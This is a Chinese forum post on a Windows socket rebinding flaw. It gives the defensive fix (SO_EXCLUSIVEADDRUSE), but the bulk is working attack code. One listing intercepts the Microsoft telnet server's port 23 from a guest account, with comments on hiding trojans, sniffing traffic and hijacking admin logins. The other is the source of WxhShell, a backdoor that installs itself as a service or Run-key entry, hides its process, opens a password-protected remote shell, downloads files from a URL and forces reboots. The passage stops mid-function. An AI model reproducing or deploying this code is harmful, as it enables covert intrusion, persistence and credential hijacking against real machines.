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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hz[1c4)'F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oo-4WqRJ  
m/jyc# L:u  
  saddr.sin_family = AF_INET; %'=2Jy6h  
"KS" [i!3j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7'65+c[&  
gm n b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); evD=]iVD  
!syyOfu`}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fAz4>_4  
NFtA2EMLu[  
  这意味着什么?意味着可以进行如下的攻击: MK@rx6<9  
jJNl{nyq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3TLym&  
J]zhwM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @o*~\E<T  
M(:bM1AD`u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t#8QyN  
EkRx/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZXkrFA |  
"L`BuAB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PFx.uqp  
f Ayh9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iOCs% J  
;K|K]c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f2pA+j5[  
^c/3 !"wK  
  #include X8}\m%gCU  
  #include *GY8#Az  
  #include =Ti@Y  
  #include    z_'!?K{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t^>P,%$  
  int main() V2AsZc0U(  
  { rZ5xQ#IA  
  WORD wVersionRequested; \,n X/f  
  DWORD ret; EE|c@M^  
  WSADATA wsaData; ;$1x_ Cb  
  BOOL val; 2A =Y  
  SOCKADDR_IN saddr; X[dH*PV  
  SOCKADDR_IN scaddr; ^!i4d))  
  int err; -{J0~1'#-  
  SOCKET s; ?~T(Cue>  
  SOCKET sc; /*BK6hc  
  int caddsize; %Ie,J5g5  
  HANDLE mt; ]q4LN o  
  DWORD tid;   ZREy I(_  
  wVersionRequested = MAKEWORD( 2, 2 ); {Y=k`t,  
  err = WSAStartup( wVersionRequested, &wsaData ); AZ^>osr  
  if ( err != 0 ) { Anpp`>}N  
  printf("error!WSAStartup failed!\n"); 4M|C>My  
  return -1; {06ClI  
  } fF>hca>  
  saddr.sin_family = AF_INET; i92Z`jiR  
   ]B8iQr-!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8''1H<f  
E BoC,{R#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mA%}ijR6y  
  saddr.sin_port = htons(23); ,' t&L]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;;rx)|\<R  
  { ^&y*=6C  
  printf("error!socket failed!\n"); bivo7_  
  return -1; GUM-|[~  
  } &'i>d&  
  val = TRUE; sa/9r9hc+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1M?x,N_W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) PY4a3dp U  
  { {iq^CHAVK  
  printf("error!setsockopt failed!\n"); 1:M'|uc  
  return -1; pFiE2V_aS  
  } bF*Kb"!CF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xC= $ym]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i$}G[v<4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )+hJi/g  
_8-1wx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Er8F_,M+  
  { W!kF(O NA  
  ret=GetLastError(); 'qo(GGC M  
  printf("error!bind failed!\n"); Xt:j~cVA  
  return -1;  lA4J#  
  } 38l:Y"  
  listen(s,2);  &z*4Uij  
  while(1) "?<`]WG\  
  { /#"9!8%V  
  caddsize = sizeof(scaddr); U8HuqFC  
  //接受连接请求  tj8o6N#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qJK9C `T%  
  if(sc!=INVALID_SOCKET) S:xs[b.ZZ  
  { TV_a(#S   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =>Z4vWX*  
  if(mt==NULL) Sx Bo%  
  {  ;0$qT$,  
  printf("Thread Creat Failed!\n"); )' ,dP)b  
  break; -`Zk`s|!  
  } =%>E8)Jb  
  } <&B] p  
  CloseHandle(mt); @n9iOf~<  
  } rTJU)4I^h  
  closesocket(s); $ntC{a>&  
  WSACleanup(); XgKYL<k?S  
  return 0; DIvxut  
  }   ?v F8 y;Jh  
  DWORD WINAPI ClientThread(LPVOID lpParam) (r'NB  
  { )PkGT~3I  
  SOCKET ss = (SOCKET)lpParam; )[&j&AI  
  SOCKET sc; Dk")/ ib  
  unsigned char buf[4096]; 7~P!Z=m^^f  
  SOCKADDR_IN saddr; $gk=~p|  
  long num; Aq(,  
  DWORD val; 6"rS?>W/mO  
  DWORD ret; FcOrA3tt  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IsFL"Vx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ww%4MHPp8  
  saddr.sin_family = AF_INET; QZO<'q`L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +:c}LCI9<  
  saddr.sin_port = htons(23); yd45y}uS;F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U}=H1f,  
  { M3GFKWQI,`  
  printf("error!socket failed!\n"); *l0i}"T^_  
  return -1; *>o@EUArN  
  } ;t@^Z_z,CR  
  val = 100; d)$ seZB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K #JO#  
  { {cw+kY]m4-  
  ret = GetLastError(); {@-tRm&  
  return -1; (~b0-3s  
  } jt9@aN.mJN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OQyZ'  
  { )^E6VD&6  
  ret = GetLastError(); %6@m~;c0  
  return -1; A/j'{X!z  
  } ,p..h+l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O7,:-5h0  
  { $uK[[k~=S  
  printf("error!socket connect failed!\n"); E`iE]O  
  closesocket(sc); lx82:_  
  closesocket(ss); 5(Xq58nhxI  
  return -1; g J$m'kC;  
  } MSt@yKq  
  while(1) 1py >[II@  
  { %.{xo.`a[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zKG]7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gvP.\,U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PC!X<C8*  
  num = recv(ss,buf,4096,0); 8Y;>3z th7  
  if(num>0) ,/Y$%.Rp  
  send(sc,buf,num,0); _9iF`Q  
  else if(num==0) R_:-Z .  
  break; h#|Ac>fz  
  num = recv(sc,buf,4096,0); sNC~S%[  
  if(num>0) ve(@=MJ  
  send(ss,buf,num,0); e#tWQM3  
  else if(num==0) y#lg)nB  
  break; w /CD-  
  } 3 +D4$Y"  
  closesocket(ss); |q_Hiap#a  
  closesocket(sc); GsE =5A8  
  return 0 ; $[(FCS  
  } elP#s5l4  
%Vsg4DRy  
H<`7){iG  
========================================================== M;@/697G  
`{J(S'a`  
下边附上一个代码,,WXhSHELL Xkp`1UTH  
\Q,5Ne'o  
========================================================== *eUxarI  
"LVN:|!  
#include "stdafx.h" +n<;);h  
45Q#6Bt E  
#include <stdio.h> 0:>C v<N  
#include <string.h> Yp9%u9tNq  
#include <windows.h> _qS4Ns/4s  
#include <winsock2.h> v,c:cKj  
#include <winsvc.h> `%0k\,}V  
#include <urlmon.h> 8uetv  
3 W?H^1t  
#pragma comment (lib, "Ws2_32.lib") >vQKCc|93  
#pragma comment (lib, "urlmon.lib") =,W~^<\"  
8';huq@C{  
#define MAX_USER   100 // 最大客户端连接数 /KCIb:U  
#define BUF_SOCK   200 // sock buffer H^w Inkf>  
#define KEY_BUFF   255 // 输入 buffer _We4%  
6J\A%i  
#define REBOOT     0   // 重启 N*>&XJ#  
#define SHUTDOWN   1   // 关机 IeE6?!,)  
5' 3H$%dC  
#define DEF_PORT   5000 // 监听端口 D4QL lP  
ZL- ` 3x  
#define REG_LEN     16   // 注册表键长度 uy=E92n3  
#define SVC_LEN     80   // NT服务名长度 :}fIu?hCA  
DYL\=ya1  
// 从dll定义API &vS@-K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ",Fqpu&M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0kld77tn 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Csx??T_>r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~`Rooh3m  
@LDu08lr  
// wxhshell配置信息 }F)eA1  
struct WSCFG { 1VO>Bh.Wm  
  int ws_port;         // 监听端口 g6<D 1r  
  char ws_passstr[REG_LEN]; // 口令 [ST7CrwC  
  int ws_autoins;       // 安装标记, 1=yes 0=no .?-]+ -J?`  
  char ws_regname[REG_LEN]; // 注册表键名 1BA5|  
  char ws_svcname[REG_LEN]; // 服务名 P;l D ri  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >]l7AZ:,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Gv }~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QU^?a~r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fhQ}Z%$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?N!.:~~k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;!/g`*?  
@RVj~J.A  
}; Pt %EyFG  
BYsQu.N  
// default Wxhshell configuration 6SmawPPP  
struct WSCFG wscfg={DEF_PORT, yDBMm^  
    "xuhuanlingzhe", &GLe4zEh  
    1, }q[IhjD%  
    "Wxhshell", U10:@Wzh  
    "Wxhshell", H=7Nh6v  
            "WxhShell Service", RB/;qdqR  
    "Wrsky Windows CmdShell Service", 2o9IP>#u  
    "Please Input Your Password: ", D,;6$Pvg^  
  1, G_n~1?  
  "http://www.wrsky.com/wxhshell.exe", }h`ddo  
  "Wxhshell.exe" bjGQ04da  
    }; 1 gx(L*y,  
{'eF;!!Dy  
// 消息定义模块 ]5i]2r1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (e6KSRh2fF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _'DZoOH|VE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \jThbCb  
char *msg_ws_ext="\n\rExit."; 7 `& NB]  
char *msg_ws_end="\n\rQuit."; WCZeY?_^c  
char *msg_ws_boot="\n\rReboot..."; sD`OHV:  
char *msg_ws_poff="\n\rShutdown..."; UG<`m]  
char *msg_ws_down="\n\rSave to "; S.A|(?x  
! V;glx[  
char *msg_ws_err="\n\rErr!"; >>HC|  
char *msg_ws_ok="\n\rOK!"; >qjV(_?F-  
[i)G:8U  
char ExeFile[MAX_PATH]; 9jTm g%  
int nUser = 0; 5!^DKyw:  
HANDLE handles[MAX_USER]; RI64QD  
int OsIsNt; 1q;r4$n  
05Go*QvV  
SERVICE_STATUS       serviceStatus; rA#Ji~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y!L<& sl   
G .k\N(l  
// 函数声明 [I7([l1Wvd  
int Install(void); #^&.*' z%z  
int Uninstall(void); 66shr  
int DownloadFile(char *sURL, SOCKET wsh); ,2 _!hm /  
int Boot(int flag); @jevY81)  
void HideProc(void); %oEvp{I  
int GetOsVer(void); x$\w^h\F  
int Wxhshell(SOCKET wsl); h|t\rV^  
void TalkWithClient(void *cs); -z$&lP]  
int CmdShell(SOCKET sock); # ^oF^!  
int StartFromService(void); (qXl=e8  
int StartWxhshell(LPSTR lpCmdLine); &C7HG^;W9  
b9@VD)J0E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \H5{[ZUn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p?zh4:\F+  
J?N9*ap)  
// 数据结构和表定义 o@g/,V $  
SERVICE_TABLE_ENTRY DispatchTable[] = s.G6?1VXlY  
{ jW!)5(B[A  
{wscfg.ws_svcname, NTServiceMain}, &SE+7HXw  
{NULL, NULL} 5!)_" u3  
}; oc3}L^aD  
(N25.}8Y  
// 自我安装 '=eE6=m^K  
int Install(void) <FFaaGiE>  
{ @:"GgkyDl#  
  char svExeFile[MAX_PATH]; koAM",5D  
  HKEY key; jIs2R3B  
  strcpy(svExeFile,ExeFile); y?s8UEC  
mjz<,s`D  
// 如果是win9x系统,修改注册表设为自启动 lKF<]25  
if(!OsIsNt) { o{&UT VyGs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PofHe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \9t6 #8  
  RegCloseKey(key); /i)1BaF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k|c=O6GO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qEbzF#a-:  
  RegCloseKey(key); k_<8SG+`  
  return 0; #XlE_XD  
    } `2Oh0{x0*O  
  } @Ui dQX"b  
} {<3>^ o|"  
else { ;Jrk#7  
Yi+~}YP.E(  
// 如果是NT以上系统,安装为系统服务 ep3iI77/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /4Lmu+G4  
if (schSCManager!=0) {Q la4U  
{ #Qp.O@e  
  SC_HANDLE schService = CreateService 2i3& 3oz]O  
  ( Ly$s0.!  
  schSCManager, z.7'yJIP#  
  wscfg.ws_svcname, )bG d++2  
  wscfg.ws_svcdisp, )4P5i b  
  SERVICE_ALL_ACCESS, Qe )#'$T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , axW4 cS ?  
  SERVICE_AUTO_START, hj.Du+1  
  SERVICE_ERROR_NORMAL, sR1 &2hB  
  svExeFile, br9`77J8  
  NULL, aab?hR  
  NULL, HKdR?HM1  
  NULL, !bHM:!6^  
  NULL, a~-^$Fzgy  
  NULL S3k>34_%9  
  ); hsUP5_  
  if (schService!=0) E0i_sB~T  
  { CF`fn6  
  CloseServiceHandle(schService); tyLR_@i%%  
  CloseServiceHandle(schSCManager); mxRe2<W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S-Y(Vn4  
  strcat(svExeFile,wscfg.ws_svcname); `(9B(&t^,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /B?hM&@z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6/#5TdJA  
  RegCloseKey(key); mJ%r2$/*  
  return 0; ]3E':JM@  
    } ;#$zHR  
  } H?=D,  
  CloseServiceHandle(schSCManager); 7BX%z$_)A  
} e]+ [lq\p@  
} c[Mz#BWG  
(Rc 0l;  
return 1; U "qO&;m  
} ] PnE%  
:-f"+v  
// 自我卸载 '7<@(HO  
int Uninstall(void) ,Wp0,>!  
{ !\NKu1ta  
  HKEY key; M]>JI'8  
N -]m <z>  
if(!OsIsNt) { y{eZrX|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e<p_u)m  
  RegDeleteValue(key,wscfg.ws_regname); S %"7`xl  
  RegCloseKey(key); )pVxp]EI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iK"j@1|  
  RegDeleteValue(key,wscfg.ws_regname); `f^`i~c\  
  RegCloseKey(key); Ccocv>=Q&J  
  return 0; a91Q*X%  
  } /rNY;qXM  
} !HXdUAKu  
} +M\*C#  
else { ] 05Q4  
1?(mE7H#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _e_]$G/TM  
if (schSCManager!=0) ?nFT51 t/4  
{ XU0"f!23x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;D/'7f7.}  
  if (schService!=0) t3/!esay  
  { Ej1 [ry  
  if(DeleteService(schService)!=0) { VmTk4?V4  
  CloseServiceHandle(schService); |jV4]7Luq  
  CloseServiceHandle(schSCManager); dBG]J18  
  return 0; 'Ph4(Yg  
  } EMH?z2iGd  
  CloseServiceHandle(schService); `.dTkL  
  } ^}8_tZs8\  
  CloseServiceHandle(schSCManager); na FZ<'t>&  
} Q9[dUdQm  
} utwh"E&W  
<,0& Ox  
return 1; tS2lex%  
} eT+MN`  
`bZ_=UAb  
// 从指定url下载文件 RWBmQg^]X  
int DownloadFile(char *sURL, SOCKET wsh) B`hxF(_p/  
{ LFSOHJj  
  HRESULT hr; su=.4JcK  
char seps[]= "/"; zck)D^,aO  
char *token; LM _4.J  
char *file; ,XP9NHE  
char myURL[MAX_PATH]; qRB7I:m-Wi  
char myFILE[MAX_PATH]; No[xf9>t  
O!f* @  
strcpy(myURL,sURL); A|>a Gy  
  token=strtok(myURL,seps); rI]:| k  
  while(token!=NULL) qrX6FI  
  { PfrW,R~r  
    file=token; 9/s-|jD  
  token=strtok(NULL,seps); .^kTb2$X  
  } $ ]81s`  
00pHnNoxW  
GetCurrentDirectory(MAX_PATH,myFILE); A)7'\JK7b  
strcat(myFILE, "\\"); g dC=SFb b  
strcat(myFILE, file); >8NQ8i=]V1  
  send(wsh,myFILE,strlen(myFILE),0); Eun%uah6c  
send(wsh,"...",3,0); tOko %vY8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <1jiU%!w  
  if(hr==S_OK) 2N,*S   
return 0; 0\Oeo8<7)~  
else 6 *8Ge  
return 1; % 9WWBxS  
*`jEg=)  
} kD; BwU[  
]c5GG!E-g  
// 系统电源模块 orU4{.e  
int Boot(int flag) 1g/mzC   
{ x@k9]6/zs  
  HANDLE hToken; b`:Eo+p   
  TOKEN_PRIVILEGES tkp; L7xTAFe  
x`eYCi  
  if(OsIsNt) { Y0hL_46>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H{GbOI.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cL WM]\Y  
    tkp.PrivilegeCount = 1; 9Pb0Olh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $K G?d>wx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zR<jZwo]#  
if(flag==REBOOT) { MoF Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |]]fcJOBP  
  return 0; xjX5PQu  
} OIWo* %  
else { yWK[@;S]%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IaF79}^  
  return 0; d~_OWCg`  
} l/I W"A  
  } iCEX|Tj;  
  else { n+i}>3'A  
if(flag==REBOOT) { H5aUZ=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "M*\,IH  
  return 0; '/p5tw8  
} l`u*,"$  
else { eeX)JC0A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (p2a{v}fEz  
  return 0; *LhR$(F(  
} )i>KYg w  
} 7:;V[/  
D6m>>&E['  
return 1; Gce_gZH7{  
} j"dbl?og  
< <xJ-N  
// win9x进程隐藏模块 /;>EyWW  
void HideProc(void)  6$Dbeb  
{ #QB`'2)vw  
Ar$LA"vu4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P"#^i<ut@T  
  if ( hKernel != NULL ) Av[jFk  
  { C^~iz in  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BxG;vS3>*e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `<Ftn  
    FreeLibrary(hKernel); K4tX4U[Z  
  } >ylVES/V  
xSf3Ir(,  
return; .KD07  
} YJ0[ BcZ  
[+1 i$d  
// 获取操作系统版本 G@(7d1){  
int GetOsVer(void) R's xa*VB  
{ $pKS['J0  
  OSVERSIONINFO winfo; - t+Mh.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'F~u \m=E  
  GetVersionEx(&winfo); B?4\IXek  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8BN'fWl&E  
  return 1; &d2/F i+  
  else o]j*  
  return 0; "&ks8 3  
} 3_>R's8P  
@PI\.y_w  
// 客户端句柄模块 (/Mc$V  
int Wxhshell(SOCKET wsl) 6 qq7:  
{ Em 7q@  
  SOCKET wsh; 8?$2;uGL  
  struct sockaddr_in client; nGt8u4gcP  
  DWORD myID; w*}9;l  
l1??b  
  while(nUser<MAX_USER) : )z_q!$j  
{ ev3x*}d0  
  int nSize=sizeof(client); wfdFGoy(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F~Li.qF  
  if(wsh==INVALID_SOCKET) return 1; We ->d |=  
^#4s/mdVO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x0d+cSw  
if(handles[nUser]==0) i~;8'>:|,M  
  closesocket(wsh); @.{  
else A_.QHUjpx  
  nUser++; |); >wV"  
  } x EBjfn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q^k# ?j#  
(g Z!o_  
  return 0; !2Orklzd1  
} A0XFu}  
U,=K_oBAq  
// 关闭 socket x6t;=  
void CloseIt(SOCKET wsh) |^F-.Z  
{ aPC!M4#  
closesocket(wsh); Vo%d;>!G\;  
nUser--; H@zk8]_P  
ExitThread(0); b>i=",i\  
} nqBu C  
/\#5\dHj  
// 客户端请求句柄 8syo_sC |  
void TalkWithClient(void *cs) @K9T )p]  
{ No7Q,p  
Y[!a82MTzn  
  SOCKET wsh=(SOCKET)cs; ]Q3Gj@6  
  char pwd[SVC_LEN]; (yP55PC O$  
  char cmd[KEY_BUFF]; 3\{Sf /#  
char chr[1]; ,B2 -'O  
int i,j; zgqw*)C~  
P5>CSWy%  
  while (nUser < MAX_USER) { TI>yi ^}  
tX251S  
if(wscfg.ws_passstr) { @>Keu\)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BGX@n#:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }]I?vyQ#V  
  //ZeroMemory(pwd,KEY_BUFF); $<v_Vm?6d  
      i=0; K288&D|1WU  
  while(i<SVC_LEN) { :~(im_r  
!A!\S/x4  
  // 设置超时 R%%`wmG)"  
  fd_set FdRead; h uJqqC  
  struct timeval TimeOut; zqh{=&Tjx  
  FD_ZERO(&FdRead); Db=gS=Qm  
  FD_SET(wsh,&FdRead); gnXjd}  
  TimeOut.tv_sec=8; V5B-S.i@  
  TimeOut.tv_usec=0; ^aXBt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X2cR+Ha0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); akQH+j  
vrzX%'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `xUPML-  
  pwd=chr[0]; uNbA>*c4M  
  if(chr[0]==0xd || chr[0]==0xa) { /<0D E22  
  pwd=0; $T6Qg(p  
  break;  qR qy  
  } yjd'{B9{  
  i++; `dP+5u!  
    } *K|aK p}  
D.(G9H  
  // 如果是非法用户,关闭 socket Rs`a@ Fn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &>e DCs  
} "NU".q  
?N*0 S'dY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QCR-lxO1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +,Az\aT/%  
|xVCl<{F%  
while(1) { 86#mmm)  
 2JP?6N  
  ZeroMemory(cmd,KEY_BUFF); KeB4Pae|V  
4MJzx9#  
      // 自动支持客户端 telnet标准   (x qA.(F  
  j=0; Jj:6 c  
  while(j<KEY_BUFF) { |a{]P=<q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `fZD%o3l  
  cmd[j]=chr[0]; U*Qq5=dqD  
  if(chr[0]==0xa || chr[0]==0xd) { A+I&.\QAR  
  cmd[j]=0; J\3} il N  
  break; #[y<h3f]  
  } N}fUBX4k  
  j++; N-`;\  
    } G%!\ p:w  
vo(NB !x$  
  // 下载文件 |QLX..  
  if(strstr(cmd,"http://")) { S |>$0P4W(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  7E`(8i  
  if(DownloadFile(cmd,wsh)) 5L}>+js2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5lnSa+_/f  
  else ulf/C%t,R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <z uE=0P~%  
  } ex \W]5  
  else { H@E" )@92  
_}OJPahw  
    switch(cmd[0]) { WEtA4zCO  
  8e!DDh  
  // 帮助 pYl{:uIPN8  
  case '?': { T:dm0iau  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UMuuf6  
    break; ]"Y%M'  
  } i1I>RK  
  // 安装 S9R]Zl7{-  
  case 'i': { k0_$M{@Y  
    if(Install()) qQOD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _1<'"u#6w  
    else ,|X+/|gm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3g [j%`k  
    break; p*`SGX  
    } ^Opy6Bqb  
  // 卸载 neh;`7~5@K  
  case 'r': { tx5T^K7[  
    if(Uninstall()) oNB,.:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[VpN2*  
    else 8i;)|z7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yW^IN8fm  
    break; {R-82%X  
    } vX0"S  
  // 显示 wxhshell 所在路径 yv)nW::D(  
  case 'p': { [W$Z60?RR  
    char svExeFile[MAX_PATH]; Hp}  
    strcpy(svExeFile,"\n\r"); PKR $I  
      strcat(svExeFile,ExeFile); }l( m5  
        send(wsh,svExeFile,strlen(svExeFile),0); i9eyrl+!  
    break; s S5fd)x  
    } yd ND$@; Z  
  // 重启 s!ZW'`4!z  
  case 'b': { z8/xGQn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pp]_/46nN  
    if(Boot(REBOOT)) +K%pxuVh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pzq; vMr  
    else { {HHh.K  
    closesocket(wsh); #[a"%byTR  
    ExitThread(0); ) wY!/&  
    } g&+Y{*Gp  
    break; qC1U&b#MVx  
    } 7q!yCU  
  // 关机 tB7K&ssi  
  case 'd': { n2d8;B#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N3gNOq&  
